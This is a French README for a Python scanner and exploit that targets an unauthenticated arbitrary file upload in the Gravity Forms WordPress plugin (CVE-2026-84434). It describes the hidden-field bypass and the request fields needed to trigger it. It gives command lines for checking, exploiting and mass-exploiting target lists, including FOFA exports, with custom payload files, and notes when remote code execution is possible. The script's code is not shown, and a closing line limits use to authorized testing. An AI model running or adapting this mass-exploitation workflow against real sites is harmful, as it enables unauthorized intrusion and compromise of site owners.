
Scanner et exploit PoC en Python pour CVE-2026-84434, une vulnérabilité de téléversement de fichier arbitraire non authentifié dans Gravity Forms <=3.1.0.4 via des champs File Upload masqués. Prend en charge les modes check, exploit et mass scan.
Scanner PoC et exploit en Python 3 pour CVE-2026-84434 dans Gravity Forms.
| Plugin | gravityforms |
| Affecté | ≤ 3.1.0.4 |
| Corrigé dans | 3.1.0.5+ (version de sécurité du fournisseur 3.1.1) |
| CVSS | 9.8 (Critique) |
| Auth | Non authentifié |
| CWE | CWE-434 — Téléversement sans restriction |
| Crédit | 0xd4rk5id3 — EnvoraSec (Wordfence) |
Les champs File Upload masqués contournent la validation d'extension dans le pipeline de validation, tandis que le chemin de persistance peut toujours appeler upload_file() sans vérifications équivalentes. Un attaquant non authentifié peut envoyer une requête POST vers un formulaire public qui inclut un champ File Upload avec Visibility → Hidden.
Les fichiers sont stockés sous wp-content/uploads/gravity_forms/. Gravity Forms ajoute généralement des règles .htaccess pour bloquer l'exécution de PHP ; l'exécution de code à distance dépend de la configuration du serveur (nginx, docroot alternatif, etc.).
gform_wrapper et d'un champ fileupload masqué (input_{form}_{field})gform_submit, is_submit_{id}, fichier sur l'entrée masquée)pip install -r requirements.txtpip install -r requirements.txt
# Check single target
python poc.py -u https://target.example --mode check
# Mass check
python poc.py --list targets.example.txt --mode check --threads 30 --quiet
# Exploit (built-in benign .txt probe unless --payload-file is set)
python poc.py -u https://target.example --mode exploit \
--form-id 3 --page-url /contact/ --file-field 7
# Custom upload file (your own probe — not included in this repo)
python poc.py -u https://target.example --mode exploit \
--form-id 3 --page-url /contact/ --file-field 7 \
--payload-file probe.txt
# Mass exploit from check output
python poc.py --list candidates.jsonl --mode exploit --threads 10 --quiet
| Option | Description |
|---|---|
-u, --url | URL de base d'une cible unique |
--list | Liste d'URL, CSV au format FOFA, ou candidates.jsonl |
--mode | check (par défaut) ou exploit |
--form-id | ID du formulaire Gravity |
--page-url | Chemin ou URL de la page hébergeant le formulaire |
--file-field | ID du champ de téléversement de fichier masqué |
--payload-file | Fichier local à téléverser (par défaut : marqueur .txt bénin en mémoire) |
--paths | Chemins supplémentaires à parcourir pour les formulaires |
--threads, -j | Concurrence en masse (par défaut 20) |
--output | Résultats JSONL (par défaut cve_2026_84434_results.jsonl) |
--vuln-list | URL touchées ou exploits réussis (par défaut hits.txt) |
--candidates-list | Métadonnées de vérification (par défaut candidates.jsonl) |
--quiet | Moins de sortie de progression lors des exécutions en masse |
| Fichier | Contenu |
|---|---|
cve_2026_84434_results.jsonl | JSON complet par cible |
hits.txt | URL de base candidates |
candidates.jsonl | form_id, page_url, file_field / input_name |
status courantes (check)| Statut | Signification |
|---|---|
candidate | Version vulnérable + téléversement de fichier masqué sur un formulaire public |
forms_no_hidden_upload | Formulaires trouvés, aucun avec téléversement de fichier masqué dans le HTML |
plugin_no_public_forms | Plugin présent, aucun formulaire public découvert |
patched | Version > 3.1.0.4 |
no_plugin | Gravity Forms non détecté |
.
├── poc.py
├── requirements.txt
├── targets.example.txt
├── README.md
├── LICENSE
└── .gitignore
Les listes de scan locales et les artefacts (list.txt, *.jsonl, payloads personnalisés) sont dans .gitignore et ne doivent pas être commités.
Pour des tests de sécurité autorisés uniquement. Vous êtes responsable du respect des lois applicables et des règles du programme.